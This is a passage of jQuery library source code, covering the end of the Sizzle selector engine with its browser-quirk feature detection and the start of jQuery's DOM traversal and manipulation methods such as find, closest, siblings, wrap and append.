{\n\t\t\tif ( cur === b ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\tcur = cur.nextSibling;\n\t\t}\n\n\t\treturn 1;\n\t};\n}\n\n// Utility function for retreiving the text value of an array of DOM nodes\nSizzle.getText = function( elems ) {\n\tvar ret = \"\", elem;\n\n\tfor ( var i = 0; elems[i]; i++ ) {\n\t\telem = elems[i];\n\n\t\t// Get the text from text nodes and CDATA nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 4 ) {\n\t\t\tret += elem.nodeValue;\n\n\t\t// Traverse everything else, except comment nodes\n\t\t} else if ( elem.nodeType !== 8 ) {\n\t\t\tret += Sizzle.getText( elem.childNodes );\n\t\t}\n\t}\n\n\treturn ret;\n};\n\n// Check to see if the browser returns elements by name when\n// querying by getElementById (and provide a workaround)\n(function(){\n\t// We're going to inject a fake input element with a specified name\n\tvar form = document.createElement(\"div\"),\n\t\tid = \"script\" + (new Date()).getTime(),\n\t\troot = document.documentElement;\n\n\tform.innerHTML = \"<a name='\" + id + \"'/>\";\n\n\t// Inject it into the root element, check its status, and remove it quickly\n\troot.insertBefore( form, root.firstChild );\n\n\t// The workaround has to do additional checks after a getElementById\n\t// Which slows things down for other browsers (hence the branching)\n\tif ( document.getElementById( id ) ) {\n\t\tExpr.find.ID = function( match, context, isXML ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && !isXML ) {\n\t\t\t\tvar m = context.getElementById(match[1]);\n\n\t\t\t\treturn m ?\n\t\t\t\t\tm.id === match[1] || typeof m.getAttributeNode !== \"undefined\" && m.getAttributeNode(\"id\").nodeValue === match[1] ?\n\t\t\t\t\t\t[m] :\n\t\t\t\t\t\tundefined :\n\t\t\t\t\t[];\n\t\t\t}\n\t\t};\n\n\t\tExpr.filter.ID = function( elem, match ) {\n\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" && elem.getAttributeNode(\"id\");\n\n\t\t\treturn elem.nodeType === 1 && node && node.nodeValue === match;\n\t\t};\n\t}\n\n\troot.removeChild( form );\n\n\t// release memory in IE\n\troot = form = null;\n})();\n\n(function(){\n\t// Check to see if the browser returns only elements\n\t// when doing getElementsByTagName(\"*\")\n\n\t// Create a fake element\n\tvar div = document.createElement(\"div\");\n\tdiv.appendChild( document.createComment(\"\") );\n\n\t// Make sure no comments are found\n\tif ( div.getElementsByTagName(\"*\").length > 0 ) {\n\t\tExpr.find.TAG = function( match, context ) {\n\t\t\tvar results = context.getElementsByTagName( match[1] );\n\n\t\t\t// Filter out possible comments\n\t\t\tif ( match[1] === \"*\" ) {\n\t\t\t\tvar tmp = [];\n\n\t\t\t\tfor ( var i = 0; results[i]; i++ ) {\n\t\t\t\t\tif ( results[i].nodeType === 1 ) {\n\t\t\t\t\t\ttmp.push( results[i] );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresults = tmp;\n\t\t\t}\n\n\t\t\treturn results;\n\t\t};\n\t}\n\n\t// Check to see if an attribute returns normalized href attributes\n\tdiv.innerHTML = \"<a href='#'></a>\";\n\n\tif ( div.firstChild && typeof div.firstChild.getAttribute !== \"undefined\" &&\n\t\t\tdiv.firstChild.getAttribute(\"href\") !== \"#\" ) {\n\n\t\tExpr.attrHandle.href = function( elem ) {\n\t\t\treturn elem.getAttribute( \"href\", 2 );\n\t\t};\n\t}\n\n\t// release memory in IE\n\tdiv = null;\n})();\n\nif ( document.querySelectorAll ) {\n\t(function(){\n\t\tvar oldSizzle = Sizzle,\n\t\t\tdiv = document.createElement(\"div\"),\n\t\t\tid = \"__sizzle__\";\n\n\t\tdiv.innerHTML = \"<p class='TEST'></p>\";\n\n\t\t// Safari can't handle uppercase or unicode characters when\n\t\t// in quirks mode.\n\t\tif ( div.querySelectorAll && div.querySelectorAll(\".TEST\").length === 0 ) {\n\t\t\treturn;\n\t\t}\n\t\n\t\tSizzle = function( query, context, extra, seed ) {\n\t\t\tcontext = context || document;\n\n\t\t\t// Only use querySelectorAll on non-XML documents\n\t\t\t// (ID selectors don't work in non-HTML documents)\n\t\t\tif ( !seed && !Sizzle.isXML(context) ) {\n\t\t\t\t// See if we find a selector to speed up\n\t\t\t\tvar match = /^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec( query );\n\t\t\t\t\n\t\t\t\tif ( match && (context.nodeType === 1 || context.nodeType === 9) ) {\n\t\t\t\t\t// Speed-up: Sizzle(\"TAG\")\n\t\t\t\t\tif ( match[1] ) {\n\t\t\t\t\t\treturn makeArray( context.getElementsByTagName( query ), extra );\n\t\t\t\t\t\n\t\t\t\t\t// Speed-up: Sizzle(\".CLASS\")\n\t\t\t\t\t} else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {\n\t\t\t\t\t\treturn makeArray( context.getElementsByClassName( match[2] ), extra );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( context.nodeType === 9 ) {\n\t\t\t\t\t// Speed-up: Sizzle(\"body\")\n\t\t\t\t\t// The body element only exists once, optimize finding it\n\t\t\t\t\tif ( query === \"body\" && context.body ) {\n\t\t\t\t\t\treturn makeArray( [ context.body ], extra );\n\t\t\t\t\t\t\n\t\t\t\t\t// Speed-up: Sizzle(\"#ID\")\n\t\t\t\t\t} else if ( match && match[3] ) {\n\t\t\t\t\t\tvar elem = context.getElementById( match[3] );\n\n\t\t\t\t\t\t// Check parentNode to catch when Blackberry 4.6 returns\n\t\t\t\t\t\t// nodes that are no longer in the document #6963\n\t\t\t\t\t\tif ( elem && elem.parentNode ) {\n\t\t\t\t\t\t\t// Handle the case where IE and Opera return items\n\t\t\t\t\t\t\t// by name instead of ID\n\t\t\t\t\t\t\tif ( elem.id === match[3] ) {\n\t\t\t\t\t\t\t\treturn makeArray( [ elem ], extra );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\treturn makeArray( [], extra );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\treturn makeArray( context.querySelectorAll(query), extra );\n\t\t\t\t\t} catch(qsaError) {}\n\n\t\t\t\t// qSA works strangely on Element-rooted queries\n\t\t\t\t// We can work around this by specifying an extra ID on the root\n\t\t\t\t// and working up from there (Thanks to Andrew Dupont for the technique)\n\t\t\t\t// IE 8 doesn't work on object elements\n\t\t\t\t} else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== \"object\" ) {\n\t\t\t\t\tvar oldContext = context,\n\t\t\t\t\t\told = context.getAttribute( \"id\" ),\n\t\t\t\t\t\tnid = old || id,\n\t\t\t\t\t\thasParent = context.parentNode,\n\t\t\t\t\t\trelativeHierarchySelector = /^\\s*[+~]/.test( query );\n\n\t\t\t\t\tif ( !old ) {\n\t\t\t\t\t\tcontext.setAttribute( \"id\", nid );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnid = nid.replace( /'/g, \"\\\\$&\" );\n\t\t\t\t\t}\n\t\t\t\t\tif ( relativeHierarchySelector && hasParent ) {\n\t\t\t\t\t\tcontext = context.parentNode;\n\t\t\t\t\t}\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tif ( !relativeHierarchySelector || hasParent ) {\n\t\t\t\t\t\t\treturn makeArray( context.querySelectorAll( \"[id='\" + nid + \"'] \" + query ), extra );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} catch(pseudoError) {\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tif ( !old ) {\n\t\t\t\t\t\t\toldContext.removeAttribute( \"id\" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\treturn oldSizzle(query, context, extra, seed);\n\t\t};\n\n\t\tfor ( var prop in oldSizzle ) {\n\t\t\tSizzle[ prop ] = oldSizzle[ prop ];\n\t\t}\n\n\t\t// release memory in IE\n\t\tdiv = null;\n\t})();\n}\n\n(function(){\n\tvar html = document.documentElement,\n\t\tmatches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;\n\n\tif ( matches ) {\n\t\t// Check to see if it's possible to do matchesSelector\n\t\t// on a disconnected node (IE 9 fails this)\n\t\tvar disconnectedMatch = !matches.call( document.createElement( \"div\" ), \"div\" ),\n\t\t\tpseudoWorks = false;\n\n\t\ttry {\n\t\t\t// This should fail with an exception\n\t\t\t// Gecko does not error, returns false instead\n\t\t\tmatches.call( document.documentElement, \"[test!='']:sizzle\" );\n\t\n\t\t} catch( pseudoError ) {\n\t\t\tpseudoWorks = true;\n\t\t}\n\n\t\tSizzle.matchesSelector = function( node, expr ) {\n\t\t\t// Make sure that attribute selectors are quoted\n\t\t\texpr = expr.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g, \"='$1']\");\n\n\t\t\tif ( !Sizzle.isXML( node ) ) {\n\t\t\t\ttry { \n\t\t\t\t\tif ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {\n\t\t\t\t\t\tvar ret = matches.call( node, expr );\n\n\t\t\t\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\t\t\t\tif ( ret || !disconnectedMatch ||\n\t\t\t\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t\t\t\t// fragment in IE 9, so check for that\n\t\t\t\t\t\t\t\tnode.document && node.document.nodeType !== 11 ) {\n\t\t\t\t\t\t\treturn ret;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t\treturn Sizzle(expr, null, null, [node]).length > 0;\n\t\t};\n\t}\n})();\n\n(function(){\n\tvar div = document.createElement(\"div\");\n\n\tdiv.innerHTML = \"<div class='test e'></div><div class='test'></div>\";\n\n\t// Opera can't find a second classname (in 9.6)\n\t// Also, make sure that getElementsByClassName actually exists\n\tif ( !div.getElementsByClassName || div.getElementsByClassName(\"e\").length === 0 ) {\n\t\treturn;\n\t}\n\n\t// Safari caches class attributes, doesn't catch changes (in 3.2)\n\tdiv.lastChild.className = \"e\";\n\n\tif ( div.getElementsByClassName(\"e\").length === 1 ) {\n\t\treturn;\n\t}\n\t\n\tExpr.order.splice(1, 0, \"CLASS\");\n\tExpr.find.CLASS = function( match, context, isXML ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && !isXML ) {\n\t\t\treturn context.getElementsByClassName(match[1]);\n\t\t}\n\t};\n\n\t// release memory in IE\n\tdiv = null;\n})();\n\nfunction dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\n\t\tif ( elem ) {\n\t\t\tvar match = false;\n\n\t\t\telem = elem[dir];\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 && !isXML ){\n\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\telem.sizset = i;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeName.toLowerCase() === cur ) {\n\t\t\t\t\tmatch = elem;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nfunction dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {\n\tfor ( var i = 0, l = checkSet.length; i < l; i++ ) {\n\t\tvar elem = checkSet[i];\n\n\t\tif ( elem ) {\n\t\t\tvar match = false;\n\t\t\t\n\t\t\telem = elem[dir];\n\n\t\t\twhile ( elem ) {\n\t\t\t\tif ( elem.sizcache === doneName ) {\n\t\t\t\t\tmatch = checkSet[elem.sizset];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !isXML ) {\n\t\t\t\t\t\telem.sizcache = doneName;\n\t\t\t\t\t\telem.sizset = i;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( typeof cur !== \"string\" ) {\n\t\t\t\t\t\tif ( elem === cur ) {\n\t\t\t\t\t\t\tmatch = true;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {\n\t\t\t\t\t\tmatch = elem;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\telem = elem[dir];\n\t\t\t}\n\n\t\t\tcheckSet[i] = match;\n\t\t}\n\t}\n}\n\nif ( document.documentElement.contains ) {\n\tSizzle.contains = function( a, b ) {\n\t\treturn a !== b && (a.contains ? a.contains(b) : true);\n\t};\n\n} else if ( document.documentElement.compareDocumentPosition ) {\n\tSizzle.contains = function( a, b ) {\n\t\treturn !!(a.compareDocumentPosition(b) & 16);\n\t};\n\n} else {\n\tSizzle.contains = function() {\n\t\treturn false;\n\t};\n}\n\nSizzle.isXML = function( elem ) {\n\t// documentElement is verified for cases where it doesn't yet exist\n\t// (such as loading iframes in IE - #4833) \n\tvar documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;\n\n\treturn documentElement ? documentElement.nodeName !== \"HTML\" : false;\n};\n\nvar posProcess = function( selector, context ) {\n\tvar match,\n\t\ttmpSet = [],\n\t\tlater = \"\",\n\t\troot = context.nodeType ? [context] : context;\n\n\t// Position selectors must be done after the filter\n\t// And so must :not(positional) so we move all PSEUDOs to the end\n\twhile ( (match = Expr.match.PSEUDO.exec( selector )) ) {\n\t\tlater += match[0];\n\t\tselector = selector.replace( Expr.match.PSEUDO, \"\" );\n\t}\n\n\tselector = Expr.relative[selector] ? selector + \"*\" : selector;\n\n\tfor ( var i = 0, l = root.length; i < l; i++ ) {\n\t\tSizzle( selector, root[i], tmpSet );\n\t}\n\n\treturn Sizzle.filter( later, tmpSet );\n};\n\n// EXPOSE\njQuery.find = Sizzle;\njQuery.expr = Sizzle.selectors;\njQuery.expr[\":\"] = jQuery.expr.filters;\njQuery.unique = Sizzle.uniqueSort;\njQuery.text = Sizzle.getText;\njQuery.isXMLDoc = Sizzle.isXML;\njQuery.contains = Sizzle.contains;\n\n\n})();\n\n\nvar runtil = /Until$/,\n\trparentsprev = /^(?:parents|prevUntil|prevAll)/,\n\t// Note: This RegExp should be improved, or likely pulled from Sizzle\n\trmultiselector = /,/,\n\tisSimple = /^.[^:#\\[\\.,]*$/,\n\tslice = Array.prototype.slice,\n\tPOS = jQuery.expr.match.POS,\n\t// methods guaranteed to produce a unique set when starting from a unique set\n\tguaranteedUnique = {\n\t\tchildren: true,\n\t\tcontents: true,\n\t\tnext: true,\n\t\tprev: true\n\t};\n\njQuery.fn.extend({\n\tfind: function( selector ) {\n\t\tvar self = this,\n\t\t\ti, l;\n\n\t\tif ( typeof selector !== \"string\" ) {\n\t\t\treturn jQuery( selector ).filter(function() {\n\t\t\t\tfor ( i = 0, l = self.length; i < l; i++ ) {\n\t\t\t\t\tif ( jQuery.contains( self[ i ], this ) ) {\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tvar ret = this.pushStack( \"\", \"find\", selector ),\n\t\t\tlength, n, r;\n\n\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\tlength = ret.length;\n\t\t\tjQuery.find( selector, this[i], ret );\n\n\t\t\tif ( i > 0 ) {\n\t\t\t\t// Make sure that the results are unique\n\t\t\t\tfor ( n = length; n < ret.length; n++ ) {\n\t\t\t\t\tfor ( r = 0; r < length; r++ ) {\n\t\t\t\t\t\tif ( ret[r] === ret[n] ) {\n\t\t\t\t\t\t\tret.splice(n--, 1);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn ret;\n\t},\n\n\thas: function( target ) {\n\t\tvar targets = jQuery( target );\n\t\treturn this.filter(function() {\n\t\t\tfor ( var i = 0, l = targets.length; i < l; i++ ) {\n\t\t\t\tif ( jQuery.contains( this, targets[i] ) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t},\n\n\tnot: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, false), \"not\", selector);\n\t},\n\n\tfilter: function( selector ) {\n\t\treturn this.pushStack( winnow(this, selector, true), \"filter\", selector );\n\t},\n\n\tis: function( selector ) {\n\t\treturn !!selector && ( typeof selector === \"string\" ?\n\t\t\tjQuery.filter( selector, this ).length > 0 :\n\t\t\tthis.filter( selector ).length > 0 );\n\t},\n\n\tclosest: function( selectors, context ) {\n\t\tvar ret = [], i, l, cur = this[0];\n\t\t\n\t\t// Array\n\t\tif ( jQuery.isArray( selectors ) ) {\n\t\t\tvar match, selector,\n\t\t\t\tmatches = {},\n\t\t\t\tlevel = 1;\n\n\t\t\tif ( cur && selectors.length ) {\n\t\t\t\tfor ( i = 0, l = selectors.length; i < l; i++ ) {\n\t\t\t\t\tselector = selectors[i];\n\n\t\t\t\t\tif ( !matches[ selector ] ) {\n\t\t\t\t\t\tmatches[ selector ] = POS.test( selector ) ?\n\t\t\t\t\t\t\tjQuery( selector, context || this.context ) :\n\t\t\t\t\t\t\tselector;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\twhile ( cur && cur.ownerDocument && cur !== context ) {\n\t\t\t\t\tfor ( selector in matches ) {\n\t\t\t\t\t\tmatch = matches[ selector ];\n\n\t\t\t\t\t\tif ( match.jquery ? match.index( cur ) > -1 : jQuery( cur ).is( match ) ) {\n\t\t\t\t\t\t\tret.push({ selector: selector, elem: cur, level: level });\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tcur = cur.parentNode;\n\t\t\t\t\tlevel++;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ret;\n\t\t}\n\n\t\t// String\n\t\tvar pos = POS.test( selectors ) || typeof selectors !== \"string\" ?\n\t\t\t\tjQuery( selectors, context || this.context ) :\n\t\t\t\t0;\n\n\t\tfor ( i = 0, l = this.length; i < l; i++ ) {\n\t\t\tcur = this[i];\n\n\t\t\twhile ( cur ) {\n\t\t\t\tif ( pos ? pos.index(cur) > -1 : jQuery.find.matchesSelector(cur, selectors) ) {\n\t\t\t\t\tret.push( cur );\n\t\t\t\t\tbreak;\n\n\t\t\t\t} else {\n\t\t\t\t\tcur = cur.parentNode;\n\t\t\t\t\tif ( !cur || !cur.ownerDocument || cur === context || cur.nodeType === 11 ) {\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tret = ret.length > 1 ? jQuery.unique( ret ) : ret;\n\n\t\treturn this.pushStack( ret, \"closest\", selectors );\n\t},\n\n\t// Determine the position of an element within\n\t// the matched set of elements\n\tindex: function( elem ) {\n\t\tif ( !elem || typeof elem === \"string\" ) {\n\t\t\treturn jQuery.inArray( this[0],\n\t\t\t\t// If it receives a string, the selector is used\n\t\t\t\t// If it receives nothing, the siblings are used\n\t\t\t\telem ? jQuery( elem ) : this.parent().children() );\n\t\t}\n\t\t// Locate the position of the desired element\n\t\treturn jQuery.inArray(\n\t\t\t// If it receives a jQuery object, the first element is used\n\t\t\telem.jquery ? elem[0] : elem, this );\n\t},\n\n\tadd: function( selector, context ) {\n\t\tvar set = typeof selector === \"string\" ?\n\t\t\t\tjQuery( selector, context ) :\n\t\t\t\tjQuery.makeArray( selector && selector.nodeType ? [ selector ] : selector ),\n\t\t\tall = jQuery.merge( this.get(), set );\n\n\t\treturn this.pushStack( isDisconnected( set[0] ) || isDisconnected( all[0] ) ?\n\t\t\tall :\n\t\t\tjQuery.unique( all ) );\n\t},\n\n\tandSelf: function() {\n\t\treturn this.add( this.prevObject );\n\t}\n});\n\n// A painfully simple check to see if an element is disconnected\n// from a document (should be improved, where feasible).\nfunction isDisconnected( node ) {\n\treturn !node || !node.parentNode || node.parentNode.nodeType === 11;\n}\n\njQuery.each({\n\tparent: function( elem ) {\n\t\tvar parent = elem.parentNode;\n\t\treturn parent && parent.nodeType !== 11 ? parent : null;\n\t},\n\tparents: function( elem ) {\n\t\treturn jQuery.dir( elem, \"parentNode\" );\n\t},\n\tparentsUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"parentNode\", until );\n\t},\n\tnext: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"nextSibling\" );\n\t},\n\tprev: function( elem ) {\n\t\treturn jQuery.nth( elem, 2, \"previousSibling\" );\n\t},\n\tnextAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\" );\n\t},\n\tprevAll: function( elem ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\" );\n\t},\n\tnextUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"nextSibling\", until );\n\t},\n\tprevUntil: function( elem, i, until ) {\n\t\treturn jQuery.dir( elem, \"previousSibling\", until );\n\t},\n\tsiblings: function( elem ) {\n\t\treturn jQuery.sibling( elem.parentNode.firstChild, elem );\n\t},\n\tchildren: function( elem ) {\n\t\treturn jQuery.sibling( elem.firstChild );\n\t},\n\tcontents: function( elem ) {\n\t\treturn jQuery.nodeName( elem, \"iframe\" ) ?\n\t\t\telem.contentDocument || elem.contentWindow.document :\n\t\t\tjQuery.makeArray( elem.childNodes );\n\t}\n}, function( name, fn ) {\n\tjQuery.fn[ name ] = function( until, selector ) {\n\t\tvar ret = jQuery.map( this, fn, until ),\n\t\t\t// The variable 'args' was introduced in\n\t\t\t// https://github.com/jquery/jquery/commit/52a0238\n\t\t\t// to work around a bug in Chrome 10 (Dev) and should be removed when the bug is fixed.\n\t\t\t// http://code.google.com/p/v8/issues/detail?id=1050\n\t\t\targs = slice.call(arguments);\n\n\t\tif ( !runtil.test( name ) ) {\n\t\t\tselector = until;\n\t\t}\n\n\t\tif ( selector && typeof selector === \"string\" ) {\n\t\t\tret = jQuery.filter( selector, ret );\n\t\t}\n\n\t\tret = this.length > 1 && !guaranteedUnique[ name ] ? jQuery.unique( ret ) : ret;\n\n\t\tif ( (this.length > 1 || rmultiselector.test( selector )) && rparentsprev.test( name ) ) {\n\t\t\tret = ret.reverse();\n\t\t}\n\n\t\treturn this.pushStack( ret, name, args.join(\",\") );\n\t};\n});\n\njQuery.extend({\n\tfilter: function( expr, elems, not ) {\n\t\tif ( not ) {\n\t\t\texpr = \":not(\" + expr + \")\";\n\t\t}\n\n\t\treturn elems.length === 1 ?\n\t\t\tjQuery.find.matchesSelector(elems[0], expr) ? [ elems[0] ] : [] :\n\t\t\tjQuery.find.matches(expr, elems);\n\t},\n\n\tdir: function( elem, dir, until ) {\n\t\tvar matched = [],\n\t\t\tcur = elem[ dir ];\n\n\t\twhile ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {\n\t\t\tif ( cur.nodeType === 1 ) {\n\t\t\t\tmatched.push( cur );\n\t\t\t}\n\t\t\tcur = cur[dir];\n\t\t}\n\t\treturn matched;\n\t},\n\n\tnth: function( cur, result, dir, elem ) {\n\t\tresult = result || 1;\n\t\tvar num = 0;\n\n\t\tfor ( ; cur; cur = cur[dir] ) {\n\t\t\tif ( cur.nodeType === 1 && ++num === result ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn cur;\n\t},\n\n\tsibling: function( n, elem ) {\n\t\tvar r = [];\n\n\t\tfor ( ; n; n = n.nextSibling ) {\n\t\t\tif ( n.nodeType === 1 && n !== elem ) {\n\t\t\t\tr.push( n );\n\t\t\t}\n\t\t}\n\n\t\treturn r;\n\t}\n});\n\n// Implement the identical functionality for filter and not\nfunction winnow( elements, qualifier, keep ) {\n\n\t// Can't pass null or undefined to indexOf in Firefox 4\n\t// Set to 0 to skip string check\n\tqualifier = qualifier || 0;\n\n\tif ( jQuery.isFunction( qualifier ) ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\tvar retVal = !!qualifier.call( elem, i, elem );\n\t\t\treturn retVal === keep;\n\t\t});\n\n\t} else if ( qualifier.nodeType ) {\n\t\treturn jQuery.grep(elements, function( elem, i ) {\n\t\t\treturn (elem === qualifier) === keep;\n\t\t});\n\n\t} else if ( typeof qualifier === \"string\" ) {\n\t\tvar filtered = jQuery.grep(elements, function( elem ) {\n\t\t\treturn elem.nodeType === 1;\n\t\t});\n\n\t\tif ( isSimple.test( qualifier ) ) {\n\t\t\treturn jQuery.filter(qualifier, filtered, !keep);\n\t\t} else {\n\t\t\tqualifier = jQuery.filter( qualifier, filtered );\n\t\t}\n\t}\n\n\treturn jQuery.grep(elements, function( elem, i ) {\n\t\treturn (jQuery.inArray( elem, qualifier ) >= 0) === keep;\n\t});\n}\n\n\n\n\nvar rinlinejQuery = / jQuery\\d+=\"(?:\\d+|null)\"/g,\n\trleadingWhitespace = /^\\s+/,\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,\n\trtagName = /<([\\w:]+)/,\n\trtbody = /<tbody/i,\n\trhtml = /<|&#?\\w+;/,\n\trnocache = /<(?:script|object|embed|option|style)/i,\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trscriptType = /\\/(java|ecma)script/i,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|\\-\\-)/,\n\twrapMap = {\n\t\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\t\tlegend: [ 1, \"<fieldset>\", \"</fieldset>\" ],\n\t\tthead: [ 1, \"<table>\", \"</table>\" ],\n\t\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\t\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\t\tcol: [ 2, \"<table><tbody></tbody><colgroup>\", \"</colgroup></table>\" ],\n\t\tarea: [ 1, \"<map>\", \"</map>\" ],\n\t\t_default: [ 0, \"\", \"\" ]\n\t};\n\nwrapMap.optgroup = wrapMap.option;\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\n// IE can't serialize <link> and <script> tags normally\nif ( !jQuery.support.htmlSerialize ) {\n\twrapMap._default = [ 1, \"div<div>\", \"</div>\" ];\n}\n\njQuery.fn.extend({\n\ttext: function( text ) {\n\t\tif ( jQuery.isFunction(text) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery( this );\n\n\t\t\t\tself.text( text.call(this, i, self.text()) );\n\t\t\t});\n\t\t}\n\n\t\tif ( typeof text !== \"object\" && text !== undefined ) {\n\t\t\treturn this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) );\n\t\t}\n\n\t\treturn jQuery.text( this );\n\t},\n\n\twrapAll: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapAll( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\tif ( this[0] ) {\n\t\t\t// The elements to wrap the target around\n\t\t\tvar wrap = jQuery( html, this[0].ownerDocument ).eq(0).clone(true);\n\n\t\t\tif ( this[0].parentNode ) {\n\t\t\t\twrap.insertBefore( this[0] );\n\t\t\t}\n\n\t\t\twrap.map(function() {\n\t\t\t\tvar elem = this;\n\n\t\t\t\twhile ( elem.firstChild && elem.firstChild.nodeType === 1 ) {\n\t\t\t\t\telem = elem.firstChild;\n\t\t\t\t}\n\n\t\t\t\treturn elem;\n\t\t\t}).append( this );\n\t\t}\n\n\t\treturn this;\n\t},\n\n\twrapInner: function( html ) {\n\t\tif ( jQuery.isFunction( html ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tjQuery(this).wrapInner( html.call(this, i) );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tvar self = jQuery( this ),\n\t\t\t\tcontents = self.contents();\n\n\t\t\tif ( contents.length ) {\n\t\t\t\tcontents.wrapAll( html );\n\n\t\t\t} else {\n\t\t\t\tself.append( html );\n\t\t\t}\n\t\t});\n\t},\n\n\twrap: function( html ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery( this ).wrapAll( html );\n\t\t});\n\t},\n\n\tunwrap: function() {\n\t\treturn this.parent().each(function() {\n\t\t\tif ( !jQuery.nodeName( this, \"body\" ) ) {\n\t\t\t\tjQuery( this ).replaceWith( this.childNodes );\n\t\t\t}\n\t\t}).end();\n\t},\n\n\tappend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.appendChild( elem );\n\t\t\t}\n\t\t});\n\t},\n\n\tprepend: function() {\n\t\treturn this.domManip(arguments, true, function( elem ) {\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.insertBefore( elem, this.firstChild );\n\t\t\t}\n\t\t});\n\t},\n\n\tbefore: function() {\n\t\tif ( this[0] && this[0].parentNode ) {\n\t\t\treturn this.domManip(arguments, false, function( elem ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t});\n\t\t} else if ( arguments.length ) {\n\t\t\tvar set = jQuery(arguments[0]);\n\t\t\tset.push.apply( set, this.toArray() );\n\t\t\treturn this.pushStack( set, \"before\", arguments 